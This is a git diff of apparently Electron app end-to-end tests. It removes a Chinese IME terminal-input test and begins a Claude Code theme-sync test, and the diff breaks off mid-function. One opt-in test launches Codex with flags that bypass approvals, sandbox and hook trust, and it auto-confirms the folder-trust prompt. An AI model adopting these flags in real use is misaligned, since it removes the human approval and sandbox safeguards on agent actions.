test('embedded browser omits unusable FedCM and reaches the popup fallback', asy { targetBrowserTabId: browserTabId, script: expression } ) - await expect - .poll(() => readGuest('document.title'), { timeout: 10_000 }) - .toBe('FedCM fallback oracle') + await expect(async () => { + expect(await readGuest('document.title')).toBe('FedCM fallback oracle') + }).toPass({ timeout: 10_000 }) const capabilities = await readGuest<{ hasIdentityCredential: boolean hasIdentityProvider: boolean diff --git a/tests/e2e/helpers/local-https-test-server.ts b/tests/e2e/browser/security/local-https-test-server.ts similarity index 98% rename from tests/e2e/helpers/local-https-test-server.ts rename to tests/e2e/browser/security/local-https-test-server.ts index a6b8fd24807..ede06f53bdd 100644 --- a/tests/e2e/helpers/local-https-test-server.ts +++ b/tests/e2e/browser/security/local-https-test-server.ts @@ -6,7 +6,7 @@ import { WebSocketServer } from 'ws' import { LOCAL_HTTPS_TEST_CERTIFICATE, LOCAL_HTTPS_TEST_PRIVATE_KEY -} from '../../../src/main/browser/electron-fixtures/browser-local-https-test-certificate' +} from '../../../../src/main/browser/electron-fixtures/browser-local-https-test-certificate' export type LocalHttpsServer = { secureUrl: string diff --git a/tests/e2e/chinese-ime-chat-input-repro.spec.ts b/tests/e2e/chinese-ime-chat-input-repro.spec.ts deleted file mode 100644 index 0670949d452..00000000000 --- a/tests/e2e/chinese-ime-chat-input-repro.spec.ts +++ /dev/null @@ -1,809 +0,0 @@ -import { randomUUID } from 'node:crypto' -import { rmSync, writeFileSync } from 'node:fs' -import path from 'node:path' -import type { CDPSession, Page, TestInfo } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { - focusActiveTerminalInput, - getTerminalContent, - sendToTerminal, - waitForActivePanePtyId, - waitForActiveTerminalManager, - waitForTerminalOutput -} from './helpers/terminal' -import { - dispatchWindowsImeShiftToggle, - readPtyInputCount, - readPtyInputs -} from './helpers/windows-ime-native-events' - -type ImeEventLogEntry = { - type: string - at: number - data: string | null - inputType: string | null - key: string | null - code: string | null - keyCode: number | null - isComposing: boolean | null - value: string - selectionStart: number | null - selectionEnd: number | null - textareaRect: { left: number; top: number; width: number; height: number } - cursorX: number | null - cursorY: number | null -} - -type TerminalPromptState = { - model: string - cursor: number - submitted: string[] -} - -const PROMPT = '› ' - -function stripTerminalControls(value: string): string { - let output = '' - for (let index = 0; index < value.length; index += 1) { - const code = value.charCodeAt(index) - if (code === 0x1b) { - const next = value[index + 1] - if (next === ']') { - index += 2 - while (index < value.length) { - const current = value.charCodeAt(index) - if (current === 0x07) { - break - } - if (current === 0x1b && value[index + 1] === '\\') { - index += 1 - break - } - index += 1 - } - continue - } - if (next === '[') { - index += 2 - while (index < value.length && value.charCodeAt(index) < 0x40) { - index += 1 - } - continue - } - continue - } - if ((code >= 0 && code <= 0x08) || (code >= 0x0b && code <= 0x1f) || code === 0x7f) { - continue - } - output += value[index] - } - return output -} - -const CODEX_READY_RE = /Ask Codex|OpenAI/i -const CODEX_TRUST_PROMPT_RE = /Do you trust|trust this folder|Trust this/i -const CODEX_UPDATE_PROMPT_RE = /update available|install update|Skip for now/i -const LINUX_IME_POLICY_USER_AGENT = - 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/146 Safari/537.36' -const WINDOWS_IME_POLICY_USER_AGENT = - 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/150 Safari/537.36' - -function terminalImeHarnessScript(runId: string, inputLogPath?: string): string { - return ` -const readline = require('node:readline') -const { appendFileSync } = require('node:fs') - -const runId = ${JSON.stringify(runId)} -const inputLogPath = ${JSON.stringify(inputLogPath ?? null)} -let model = '' -let cursor = 0 -const submitted = [] - -function charWidth(ch) { - const code = ch.codePointAt(0) || 0 - return code >= 0x1100 ? 2 : 1 -} - -function displayColumns(value) { - return Array.from(value).reduce((total, ch) => total + charWidth(ch), 0) -} - -function emitState(reason) { - process.stdout.write('\\r\\x1b[2K${PROMPT}' + model) - const suffixColumns = displayColumns(Array.from(model).slice(cursor).join('')) - if (suffixColumns > 0) { - process.stdout.write('\\x1b[' + suffixColumns + 'D') - } - process.stdout.write('\\x1b]1337;OrcaImeState=' + Buffer.from(JSON.stringify({ - reason, - model, - cursor, - submitted - })).toString('base64') + '\\x07') -} - -function insertText(text) { - const chars = Array.from(model) - chars.splice(cursor, 0, ...Array.from(text)) - model = chars.join('') - cursor += Array.from(text).length -} - -function removeBeforeCursor() { - if (cursor <= 0) return - const chars = Array.from(model) - chars.splice(cursor - 1, 1) - model = chars.join('') - cursor -= 1 -} - -function handleData(data) { - if (inputLogPath) appendFileSync(inputLogPath, JSON.stringify(data) + '\\n') - let index = 0 - while (index < data.length) { - if (data.startsWith('\\x1b[D', index)) { - cursor = Math.max(0, cursor - 1) - index += 3 - continue - } - if (data.startsWith('\\x1b[C', index)) { - cursor = Math.min(Array.from(model).length, cursor + 1) - index += 3 - continue - } - const ch = data[index] - if (ch === '\\u0003') { - process.exit(0) - } - if (ch === '\\r' || ch === '\\n') { - submitted.push(model) - process.stdout.write('\\r\\x1b[2K[SUBMITTED_JSON_' + runId + ']' + JSON.stringify(model) + '\\n') - model = '' - cursor = 0 - index += 1 - emitState('submit') - continue - } - if (ch === '\\u007f' || ch === '\\b') { - removeBeforeCursor() - index += 1 - continue - } - insertText(ch) - index += ch.length - } - emitState('input') -} - -readline.emitKeypressEvents(process.stdin) -if (process.stdin.isTTY) process.stdin.setRawMode(true) -process.stdin.setEncoding('utf8') -process.stdout.write('IME_HARNESS_READY_' + runId + '\\n') -emitState('ready') -process.stdin.on('data', handleData) -` -} - -async function installImeEventProbe(page: Page): Promise { - await page.evaluate(() => { - const targetWindow = window as unknown as { __orcaImeEventLog?: ImeEventLogEntry[] } - targetWindow.__orcaImeEventLog = [] - const state = window.__store?.getState() - const worktreeId = state?.activeWorktreeId - const tabId = - state?.activeTabType === 'terminal' - ? state.activeTabId - : worktreeId - ? (state?.activeTabIdByWorktree?.[worktreeId] ?? null) - : null - const manager = tabId ? window.__paneManagers?.get(tabId) : null - const pane = manager?.getActivePane?.() ?? manager?.getPanes?.()[0] ?? null - const textarea = pane?.container.querySelector('.xterm-helper-textarea') - if (!pane || !textarea) { - throw new Error('No active terminal helper textarea') - } - const record = (event: Event): void => { - const input = event instanceof InputEvent ? event : null - const composition = event instanceof CompositionEvent ? event : null - const keyboard = event instanceof KeyboardEvent ? event : null - const rect = textarea.getBoundingClientRect() - targetWindow.__orcaImeEventLog!.push({ - type: event.type, - at: performance.now(), - data: input?.data ?? composition?.data ?? null, - inputType: input?.inputType ?? null, - key: keyboard?.key ?? null, - code: keyboard?.code ?? null, - keyCode: keyboard?.keyCode ?? null, - isComposing: keyboard?.isComposing ?? input?.isComposing ?? null, - value: textarea.value, - selectionStart: textarea.selectionStart, - selectionEnd: textarea.selectionEnd, - textareaRect: { - left: rect.left, - top: rect.top, - width: rect.width, - height: rect.height - }, - cursorX: pane.terminal.buffer.active.cursorX, - cursorY: pane.terminal.buffer.active.cursorY - }) - } - for (const type of [ - 'compositionstart', - 'compositionupdate', - 'compositionend', - 'beforeinput', - 'input', - 'keydown', - 'keyup' - ]) { - textarea.addEventListener(type, record, true) - } - // Record terminal compositionend for Linux/Sogou policy without duplicating key logs. - pane.terminal.element?.addEventListener('compositionend', record, true) - }) -} - -async function readImeEventLog(page: Page): Promise { - return page.evaluate(() => { - const targetWindow = window as unknown as { __orcaImeEventLog?: ImeEventLogEntry[] } - return targetWindow.__orcaImeEventLog ?? [] - }) -} - -async function readActiveCompositionText(page: Page): Promise { - return page.evaluate(() => { - const active = document.activeElement - if (!(active instanceof HTMLTextAreaElement)) { - throw new Error('xterm helper textarea is not focused') - } - const view = active.closest('.xterm')?.querySelector('.composition-view') - return view?.classList.contains('active') - ? (view.textContent?.replaceAll('\u200e', '') ?? '') - : '' - }) -} - -async function reloadWithWindowsImePolicy(page: Page): Promise { - await page.addInitScript((userAgent) => { - Object.defineProperty(navigator, 'userAgent', { - get: () => userAgent, - configurable: true - }) - }, WINDOWS_IME_POLICY_USER_AGENT) - await page.reload({ waitUntil: 'domcontentloaded' }) - await page.waitForFunction(() => Boolean(window.__store), null, { timeout: 30_000 }) -} - -async function reloadWithLinuxImePolicy(page: Page): Promise { - await page.addInitScript((userAgent) => { - Object.defineProperty(navigator, 'userAgent', { - get: () => userAgent, - configurable: true - }) - }, LINUX_IME_POLICY_USER_AGENT) - // Reload before terminal mount so lifecycle code sees the emulated Linux/Sogou platform. - await page.reload({ waitUntil: 'domcontentloaded' }) - await page.waitForFunction(() => Boolean(window.__store), null, { timeout: 30_000 }) -} - -async function readPromptState(page: Page): Promise { - const content = stripTerminalControls(await getTerminalContent(page, 20_000)) - const matches = [...content.matchAll(/\[SUBMITTED_JSON_[^\]]+\]("[\s\S]*?")/g)] - const submitted = matches - .map((match) => { - try { - return JSON.parse(match[1] ?? '""') as string - } catch { - return null - } - }) - .filter((value): value is string => value !== null) - const promptIndex = content.lastIndexOf(PROMPT) - const liveLine = - promptIndex !== -1 ? (content.slice(promptIndex + PROMPT.length).split(/\r?\n/)[0] ?? '') : '' - return { - model: liveLine.trimEnd(), - cursor: Array.from(liveLine.trimEnd()).length, - submitted - } -} - -async function attachImeEvidence( - page: Page, - testInfo: TestInfo, - name: string, - extra: Record = {} -): Promise { - const evidence = { - ...extra, - terminal: await getTerminalContent(page, 20_000), - promptState: await readPromptState(page), - imeEvents: await readImeEventLog(page) - } - await testInfo.attach(`${name}.json`, { - body: `${JSON.stringify(evidence, null, 2)}\n`, - contentType: 'application/json' - }) -} - -async function setImeComposition( - session: CDPSession, - text: string, - selectionStart = Array.from(text).length, - selectionEnd = Array.from(text).length -): Promise { - await session.send('Input.imeSetComposition', { - text, - selectionStart, - selectionEnd - }) -} - -async function commitImeText(session: CDPSession, text: string): Promise { - await session.send('Input.insertText', { text }) -} - -async function dispatchImeProcessKey(session: CDPSession, code: string): Promise { - // Windows IME preedit uses VK_PROCESSKEY 229; physical Pinyin keys must not leak as Latin input. - await session.send('Input.dispatchKeyEvent', { - type: 'rawKeyDown', - key: 'Process', - code, - windowsVirtualKeyCode: 229, - nativeVirtualKeyCode: 229, - text: '', - unmodifiedText: '' - }) - await session.send('Input.dispatchKeyEvent', { - type: 'keyUp', - key: 'Process', - code, - windowsVirtualKeyCode: 229, - nativeVirtualKeyCode: 229, - text: '', - unmodifiedText: '' - }) -} - -async function dispatchCandidateSelectionKey( - session: CDPSession, - candidate: { key: string; code: string; keyCode: number }, - commitBetweenKeys?: () => Promise -): Promise { - // Sogou selectors can be plain keys; keyDown with text emits keypress while rawKeyDown would prove no leak (#7543). - await session.send('Input.dispatchKeyEvent', { - type: 'keyDown', - key: candidate.key, - code: candidate.code, - windowsVirtualKeyCode: candidate.keyCode, - nativeVirtualKeyCode: candidate.keyCode, - text: candidate.key, - unmodifiedText: candidate.key - }) - // Why: committing between keyDown and keyUp keeps xterm's _keyDownSeen set, - // matching the trace shape where an insertText commit is actually at risk. - await commitBetweenKeys?.() - await session.send('Input.dispatchKeyEvent', { - type: 'keyUp', - key: candidate.key, - code: candidate.code, - windowsVirtualKeyCode: candidate.keyCode, - nativeVirtualKeyCode: candidate.keyCode - }) -} - -async function dispatchSogouEmptyCompositionUpdate(page: Page): Promise { - // Why: Sogou/fcitx emits empty compositionupdate data while its candidate - // popup is still open (#6765); Orca's tracker must not flip inactive on it. - await page.evaluate(() => { - const active = document.activeElement - if (!(active instanceof HTMLTextAreaElement)) { - throw new Error('xterm helper textarea is not focused') - } - active.dispatchEvent(new CompositionEvent('compositionupdate', { data: '', bubbles: true })) - }) -} - -async function dispatchSogouPostCompositionEnd(page: Page, data: string): Promise { - // Target the terminal so the late selector guard sees compositionend without xterm finalizing synthetic preedit. - await page.evaluate((data) => { - const active = document.activeElement - if (!(active instanceof HTMLTextAreaElement)) { - throw new Error('xterm helper textarea is not focused') - } - const terminalElement = active.closest('.xterm') - if (!(terminalElement instanceof HTMLElement)) { - throw new Error('xterm terminal element was not found') - } - terminalElement.dispatchEvent(new CompositionEvent('compositionend', { data, bubbles: false })) - }, data) -} - -async function composeAndCommitChineseText( - session: CDPSession, - page: Page, - preeditFrames: string[], - committedText: string -): Promise { - await focusActiveTerminalInput(page) - for (const frame of preeditFrames) { - await setImeComposition(session, frame) - await page.waitForTimeout(80) - } - await commitImeText(session, committedText) - await page.waitForTimeout(150) -} - -async function waitForLivePrompt(page: Page, expected: string): Promise { - await expect - .poll(async () => (await readPromptState(page))?.model ?? '', { - timeout: 5_000, - message: `live prompt did not become ${expected}` - }) - .toBe(expected) -} - -async function waitForCleanTerminalText( - page: Page, - pattern: RegExp, - message: string -): Promise { - await expect - .poll(async () => pattern.test(stripTerminalControls(await getTerminalContent(page, 20_000))), { - timeout: 10_000, - message - }) - .toBe(true) -} - -async function dismissCodexPromptsIfPresent(page: Page): Promise { - const deadline = Date.now() + 20_000 - while (Date.now() < deadline) { - const content = stripTerminalControls(await getTerminalContent(page, 20_000)) - if (CODEX_READY_RE.test(content) && !CODEX_TRUST_PROMPT_RE.test(content)) { - return - } - if (CODEX_TRUST_PROMPT_RE.test(content)) { - await page.keyboard.press('Enter') - await page.waitForTimeout(300) - continue - } - if (CODEX_UPDATE_PROMPT_RE.test(content)) { - await page.keyboard.type('3') - await page.keyboard.press('Enter') - await page.waitForTimeout(300) - continue - } - await page.waitForTimeout(250) - } -} - -async function launchCodexTui(page: Page, ptyId: string): Promise { - await sendToTerminal( - page, - ptyId, - 'codex --dangerously-bypass-approvals-and-sandbox --dangerously-bypass-hook-trust\r' - ) - await dismissCodexPromptsIfPresent(page) - await waitForCleanTerminalText(page, CODEX_READY_RE, 'Codex TUI did not become ready') - await focusActiveTerminalInput(page) -} - -test.describe('Chinese IME terminal chat input repro', () => { - test('keeps composed Chinese text, cursor movement, and Backspace stable in the agent input surface', async ({ - orcaPage, - testRepoPath - }, testInfo) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - - const ptyId = await waitForActivePanePtyId(orcaPage) - const runId = randomUUID() - const scriptPath = path.join(testRepoPath, `.orca-chinese-ime-harness-${runId}.cjs`) - writeFileSync(scriptPath, terminalImeHarnessScript(runId)) - const session = await orcaPage.context().newCDPSession(orcaPage) - - try { - await sendToTerminal(orcaPage, ptyId, `node ${JSON.stringify(scriptPath)}\r`) - await waitForTerminalOutput(orcaPage, `IME_HARNESS_READY_${runId}`, 10_000, 20_000) - await focusActiveTerminalInput(orcaPage) - await installImeEventProbe(orcaPage) - - await dispatchImeProcessKey(session, 'KeyN') - await composeAndCommitChineseText(session, orcaPage, ['n', 'ni', '你', '你好'], '你好') - await waitForLivePrompt(orcaPage, '你好') - await attachImeEvidence(orcaPage, testInfo, 'after-compose-hello') - await orcaPage.keyboard.press('Enter') - await expect - .poll(async () => (await readPromptState(orcaPage))?.submitted.at(-1) ?? null, { - timeout: 5_000, - message: 'first submitted prompt did not match the composed Chinese text' - }) - .toBe('你好') - - await commitImeText(session, '一二三四五六七八九十') - await waitForLivePrompt(orcaPage, '一二三四五六七八九十') - for (let index = 0; index < 5; index += 1) { - await orcaPage.keyboard.press('ArrowLeft') - } - await dispatchImeProcessKey(session, 'KeyZ') - await composeAndCommitChineseText(session, orcaPage, ['z', 'zh', '中'], '中') - await waitForLivePrompt(orcaPage, '一二三四五中六七八九十') - await attachImeEvidence(orcaPage, testInfo, 'after-middle-insert') - - await setImeComposition(session, 'x') - await orcaPage.keyboard.press('Backspace') - await waitForLivePrompt(orcaPage, '一二三四五中六七八九十') - await setImeComposition(session, '') - await commitImeText(session, '') - - await orcaPage.keyboard.press('Backspace') - await waitForLivePrompt(orcaPage, '一二三四五六七八九十') - await attachImeEvidence(orcaPage, testInfo, 'after-single-backspace') - - await orcaPage.keyboard.press('Enter') - await expect - .poll(async () => (await readPromptState(orcaPage))?.submitted.at(-1) ?? null, { - timeout: 5_000, - message: 'second submitted prompt did not match the visible Chinese text' - }) - .toBe('一二三四五六七八九十') - - const log = await readImeEventLog(orcaPage) - expect( - log.some((entry) => entry.type === 'compositionstart'), - 'CDP IME path should exercise Chromium/xterm composition events' - ).toBe(true) - expect( - log.some((entry) => entry.type === 'keydown' && entry.key === 'Process'), - 'Windows-style IME process keys should be observable in the event trace' - ).toBe(true) - expect( - log.filter((entry) => entry.type === 'keydown' && entry.key === 'Backspace').length, - 'Backspace should be observable for both the composition and single-delete assertions' - ).toBe(2) - } finally { - await attachImeEvidence(orcaPage, testInfo, 'final-ime-evidence').catch(() => undefined) - await session.detach().catch(() => undefined) - await sendToTerminal(orcaPage, ptyId, '\x03').catch(() => undefined) - rmSync(scriptPath, { force: true }) - } - }) - - test('commits the active Pinyin preedit when Shift toggles the Windows IME', async ({ - orcaPage, - testRepoPath - }, testInfo) => { - await reloadWithWindowsImePolicy(orcaPage) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - - const ptyId = await waitForActivePanePtyId(orcaPage) - const runId = randomUUID() - const scriptPath = path.join(testRepoPath, `.orca-windows-shift-ime-${runId}.cjs`) - const inputLogPath = path.join(testRepoPath, `.orca-windows-shift-ime-${runId}.jsonl`) - writeFileSync(scriptPath, terminalImeHarnessScript(runId, inputLogPath)) - writeFileSync(inputLogPath, '') - const session = await orcaPage.context().newCDPSession(orcaPage) - - try { - await sendToTerminal(orcaPage, ptyId, `node ${JSON.stringify(scriptPath)}\r`) - await waitForTerminalOutput(orcaPage, `IME_HARNESS_READY_${runId}`, 10_000, 20_000) - await focusActiveTerminalInput(orcaPage) - await installImeEventProbe(orcaPage) - - await setImeComposition(session, 's') - const inputCountBeforeShift = readPtyInputCount(inputLogPath) - await dispatchWindowsImeShiftToggle(session) - - await waitForLivePrompt(orcaPage, 's') - await expect.poll(() => readActiveCompositionText(orcaPage)).toBe('') - await expect.poll(async () => (await readPromptState(orcaPage))?.submitted).toEqual([]) - await expect - .poll(() => readPtyInputs(inputLogPath).slice(inputCountBeforeShift)) - .toEqual(['s']) - } finally { - await attachImeEvidence(orcaPage, testInfo, 'windows-shift-ime-evidence').catch( - () => undefined - ) - await session.detach().catch(() => undefined) - await sendToTerminal(orcaPage, ptyId, '\x03').catch(() => undefined) - rmSync(scriptPath, { force: true }) - rmSync(inputLogPath, { force: true }) - } - }) - - test('keeps Sogou-style candidate selection keys out of the PTY while committing Chinese text', async ({ - orcaPage, - testRepoPath - }, testInfo) => { - await reloadWithLinuxImePolicy(orcaPage) - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - - const ptyId = await waitForActivePanePtyId(orcaPage) - const runId = randomUUID() - const scriptPath = path.join(testRepoPath, `.orca-sogou-ime-harness-${runId}.cjs`) - let session: CDPSession | null = null - let harnessStarted = false - - try { - // Why: create the session/harness inside the try so a mid-setup throw - // still hits finally and removes the harness script. - writeFileSync(scriptPath, terminalImeHarnessScript(runId)) - const cdpSession = await orcaPage.context().newCDPSession(orcaPage) - session = cdpSession - await sendToTerminal(orcaPage, ptyId, `node ${JSON.stringify(scriptPath)}\r`) - harnessStarted = true - await waitForTerminalOutput(orcaPage, `IME_HARNESS_READY_${runId}`, 10_000, 20_000) - await focusActiveTerminalInput(orcaPage) - await installImeEventProbe(orcaPage) - - // Space selects the first candidate. Sogou keeps emitting empty - // compositionupdate frames while the popup is open, and the plain Space - // press arrives around the commit rather than as a Process/229 key. - await setImeComposition(session, 'n') - await orcaPage.waitForTimeout(80) - await setImeComposition(session, 'ni') - await orcaPage.waitForTimeout(80) - await dispatchSogouEmptyCompositionUpdate(orcaPage) - await dispatchCandidateSelectionKey(session, { key: ' ', code: 'Space', keyCode: 32 }, () => - commitImeText(cdpSession, '你') - ) - await waitForLivePrompt(orcaPage, '你') - await attachImeEvidence(orcaPage, testInfo, 'sogou-after-space-commit') - await orcaPage.keyboard.press('Enter') - await expect - .poll(async () => (await readPromptState(orcaPage))?.submitted.at(-1) ?? null, { - timeout: 5_000, - message: 'space-selected candidate did not submit the committed Chinese character' - }) - .toBe('你') - - // Digit selects a non-first candidate for a word/phrase commit — the - // #7543 shape where only the number used to reach the TUI. - await setImeComposition(session, 'nihao') - await orcaPage.waitForTimeout(80) - await dispatchSogouEmptyCompositionUpdate(orcaPage) - await dispatchCandidateSelectionKey(session, { key: '2', code: 'Digit2', keyCode: 50 }, () => - commitImeText(cdpSession, '你好') - ) - await waitForLivePrompt(orcaPage, '你好') - await attachImeEvidence(orcaPage, testInfo, 'sogou-after-digit-commit') - await orcaPage.keyboard.press('Enter') - await expect - .poll(async () => (await readPromptState(orcaPage))?.submitted.at(-1) ?? null, { - timeout: 5_000, - message: 'digit-selected candidate did not submit the committed Chinese phrase' - }) - .toBe('你好') - - // Post-composition traces can deliver the selector after compositionend; - // the short post-end guard must still keep that plain digit out of the PTY. - const postCompositionLogStart = (await readImeEventLog(orcaPage)).length - await setImeComposition(session, 'zaijian') - await orcaPage.waitForTimeout(80) - await dispatchSogouEmptyCompositionUpdate(orcaPage) - await dispatchSogouPostCompositionEnd(orcaPage, '再见') - await dispatchCandidateSelectionKey(session, { key: '3', code: 'Digit3', keyCode: 51 }, () => - commitImeText(cdpSession, '再见') - ) - await waitForLivePrompt(orcaPage, '再见') - const postCompositionLog = await readImeEventLog(orcaPage) - const postCompositionEndIndex = postCompositionLog.findIndex( - (entry, index) => - index >= postCompositionLogStart && - entry.type === 'compositionend' && - entry.data === '再见' - ) - const postCompositionSelectorIndex = postCompositionLog.findIndex( - (entry, index) => - index > postCompositionEndIndex && entry.type === 'keydown' && entry.key === '3' - ) - expect( - postCompositionEndIndex, - 'Sogou post-composition repro must dispatch compositionend before the plain selector' - ).toBeGreaterThanOrEqual(postCompositionLogStart) - expect( - postCompositionSelectorIndex, - 'plain digit selector must arrive after compositionend in the post-composition repro' - ).toBeGreaterThan(postCompositionEndIndex) - await attachImeEvidence(orcaPage, testInfo, 'sogou-after-post-composition-digit-commit') - await orcaPage.keyboard.press('Enter') - await expect - .poll(async () => (await readPromptState(orcaPage))?.submitted.at(-1) ?? null, { - timeout: 5_000, - message: 'post-composition digit-selected candidate did not submit cleanly' - }) - .toBe('再见') - - const promptState = await readPromptState(orcaPage) - expect( - promptState?.submitted, - 'candidate Space/digit selectors and pinyin preedit must not leak into the PTY' - ).toEqual(['你', '你好', '再见']) - } finally { - await attachImeEvidence(orcaPage, testInfo, 'sogou-final-ime-evidence').catch(() => undefined) - await session?.detach().catch(() => undefined) - if (harnessStarted) { - await sendToTerminal(orcaPage, ptyId, '\x03').catch(() => undefined) - } - rmSync(scriptPath, { force: true }) - } - }) - - test('keeps composed Chinese text stable in the real Codex TUI input @real-codex-ime', async ({ - orcaPage - }, testInfo) => { - test.skip( - process.env.ORCA_E2E_REAL_CODEX_IME !== '1', - 'Set ORCA_E2E_REAL_CODEX_IME=1 to exercise the locally installed Codex TUI' - ) - - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage, 30_000) - - const ptyId = await waitForActivePanePtyId(orcaPage) - const session = await orcaPage.context().newCDPSession(orcaPage) - - try { - await launchCodexTui(orcaPage, ptyId) - await installImeEventProbe(orcaPage) - - await dispatchImeProcessKey(session, 'KeyN') - await composeAndCommitChineseText(session, orcaPage, ['n', 'ni', '你', '你好'], '你好') - await waitForCleanTerminalText(orcaPage, /你好/, 'Codex input did not show composed Chinese') - await attachImeEvidence(orcaPage, testInfo, 'codex-after-compose-hello', { - cleanTerminal: stripTerminalControls(await getTerminalContent(orcaPage, 20_000)) - }) - - await dispatchImeProcessKey(session, 'KeyZ') - await composeAndCommitChineseText(session, orcaPage, ['z', 'zh', '中'], '中') - await waitForCleanTerminalText( - orcaPage, - /你好中/, - 'Codex input did not keep previously composed text before middle-edit checks' - ) - - await orcaPage.keyboard.press('ArrowLeft') - await setImeComposition(session, 'x') - await orcaPage.keyboard.press('Backspace') - await waitForCleanTerminalText( - orcaPage, - /你好中/, - 'Backspace during Codex composition removed committed Chinese text' - ) - await setImeComposition(session, '') - await commitImeText(session, '') - - await attachImeEvidence(orcaPage, testInfo, 'codex-after-composition-backspace', { - cleanTerminal: stripTerminalControls(await getTerminalContent(orcaPage, 20_000)) - }) - - const cleanTerminal = stripTerminalControls(await getTerminalContent(orcaPage, 20_000)) - expect( - cleanTerminal, - 'Codex should keep committed Chinese text when Backspace cancels an IME preedit' - ).toContain('你好中') - expect(cleanTerminal).not.toMatch(/\bn(?:i)?你好/) - expect(cleanTerminal).not.toMatch(/\bz(?:h)?中/) - } finally { - await attachImeEvidence(orcaPage, testInfo, 'codex-final-ime-evidence', { - cleanTerminal: stripTerminalControls(await getTerminalContent(orcaPage, 20_000)) - }).catch(() => undefined) - await session.detach().catch(() => undefined) - await sendToTerminal(orcaPage, ptyId, '\x03/quit\r').catch(() => undefined) - } - }) -}) diff --git a/tests/e2e/claude-code-theme-sync.spec.ts b/tests/e2e/claude-code-theme-sync.spec.ts deleted file mode 100644 index f9af24e2110..00000000000 --- a/tests/e2e/claude-code-theme-sync.spec.ts +++ /dev/null @@ -1,315 +0,0 @@ -import { mkdirSync, readFileSync, writeFileSync } from 'node:fs' -import { dirname, join } from 'node:path' -import type { ElectronApplication, Page } from '@playwright/test' -import { expect, test } from './helpers/orca-app' -import { ensureTerminalVisible, waitForSessionReady } from './helpers/store' -import { - discoverActivePtyId, - execInTerminal, - sendToTerminal, - waitForActiveTerminalManager -} from './helpers/terminal' - -// Search lists results; the page moves on an explicit pick. -async function openSettingsSearchResult(page: Page, query: string): Promise { - const searchInput = page.getByPlaceholder('Search settings') - await searchInput.fill(query) - await searchInput.press('ArrowDown') - await searchInput.press('Enter') -} - -const enabled = process.env.ORCA_REAL_CLAUDE_THEME_TEST === '1' -// Claude Code's own light theme paints its prompt border this gray. -const CLAUDE_LIGHT_BORDER = 0x8a8a8a -const TOKYO_NIGHT_ACCENT = 0x7aa2f7 -const GRUVBOX_DARK_ACCENT = 0x458588 -const TOKYO_NIGHT_LIGHT_ACCENT = 0x34548a -// Covers Orca's first five reload attempts (to 120 s) when macOS drops file events. -const LIVE_SWITCH_TIMEOUT_MS = 130_000 - -test.use({ - launchEnv: { ORCA_BACKGROUND_LAUNCH: '1' }, - orcaAppExtraEnv: { DISABLE_AUTOUPDATER: '1' } -}) -test.skip(!enabled, 'Set ORCA_REAL_CLAUDE_THEME_TEST=1 to run the installed Claude Code') -// The journey types POSIX shell commands. -test.skip(process.platform === 'win32', 'Uses a POSIX shell command line') - -/** Claude's prompt border: the first cell of the first full-width rule it draws. */ -function promptBorderColor(page: Page): Promise { - return page.evaluate(() => { - const state = window.__store!.getState() - const pane = window.__paneManagers?.get(state.activeTabId ?? '')?.getActivePane() - const buffer = pane?.terminal.buffer.active - if (!buffer) { - return null - } - for (let y = buffer.length - 1; y >= 0; y -= 1) { - const line = buffer.getLine(y) - if (line?.translateToString(true).startsWith('────────')) { - const cell = line.getCell(0) - return cell?.isFgRGB() ? cell.getFgColor() : null - } - } - return null - }) -} - -/** Samples the border until it shows `target`; every earlier sample must still show `previous` - * (a redraw can briefly hide the border, so samples without one are skipped). */ -async function expectLiveSwitch(page: Page, previous: number, target: number): Promise { - const started = Date.now() - const frames: number[] = [] - await expect - .poll( - async () => { - const color = await promptBorderColor(page) - if (color !== null) { - frames.push(color) - } - return color - }, - { timeout: LIVE_SWITCH_TIMEOUT_MS, intervals: [100] } - ) - .toBe(target) - expect(frames.slice(0, -1).every((color) => color === previous)).toBe(true) - return Date.now() - started -} - -/** Plain text of the active pane; Claude styles words separately, so serialized output splits them. */ -function terminalText(page: Page): Promise { - return page.evaluate(() => { - const state = window.__store!.getState() - const buffer = window.__paneManagers?.get(state.activeTabId ?? '')?.getActivePane()?.terminal - .buffer.active - const lines: string[] = [] - for (let y = 0; buffer && y < buffer.length; y += 1) { - lines.push(buffer.getLine(y)?.translateToString(true) ?? '') - } - return lines.join('\n') - }) -} - -async function startClaude(page: Page, ptyId: string, workDir: string): Promise { - await execInTerminal(page, ptyId, `cd '${workDir}' && clear && claude`) - await expect.poll(() => terminalText(page), { timeout: 30_000 }).toContain('Claude Code v') - await expect.poll(() => promptBorderColor(page), { timeout: 15_000 }).not.toBeNull() -} - -async function exitClaude(page: Page, ptyId: string): Promise { - await sendToTerminal(page, ptyId, '/exit') - // Enter must land after the command menu picked /exit, or Claude submits a prompt. - await expect.poll(() => terminalText(page), { timeout: 10_000 }).toContain('Exit the CLI') - await sendToTerminal(page, ptyId, '\r') - // Back at the shell prompt. - await expect - .poll(async () => (await terminalText(page)).trimEnd().split('\n').at(-1)?.trimEnd(), { - timeout: 15_000 - }) - .toMatch(/[$%#]$/) -} - -type Journey = { - home: string - workDir: string - ptyId: string - readTheme: () => unknown - readThemeFile: () => string - updateSettings: (updates: Record) => Promise - shot: (name: string) => Promise - windowShot: (name: string) => Promise -} - -/** An existing profile (the e2e fixture seeds one) whose Claude Code uses its own light theme. */ -async function startJourney( - electronApp: ElectronApplication, - orcaPage: Page, - testInfo: { outputPath: (name: string) => string }, - appTheme: 'dark' | 'light' -): Promise { - await waitForSessionReady(orcaPage) - await ensureTerminalVisible(orcaPage) - await waitForActiveTerminalManager(orcaPage) - const updateSettings = (updates: Record) => - orcaPage.evaluate((next) => window.__store!.getState().updateSettings(next), updates) - const settings = () => - orcaPage.evaluate(() => { - const { 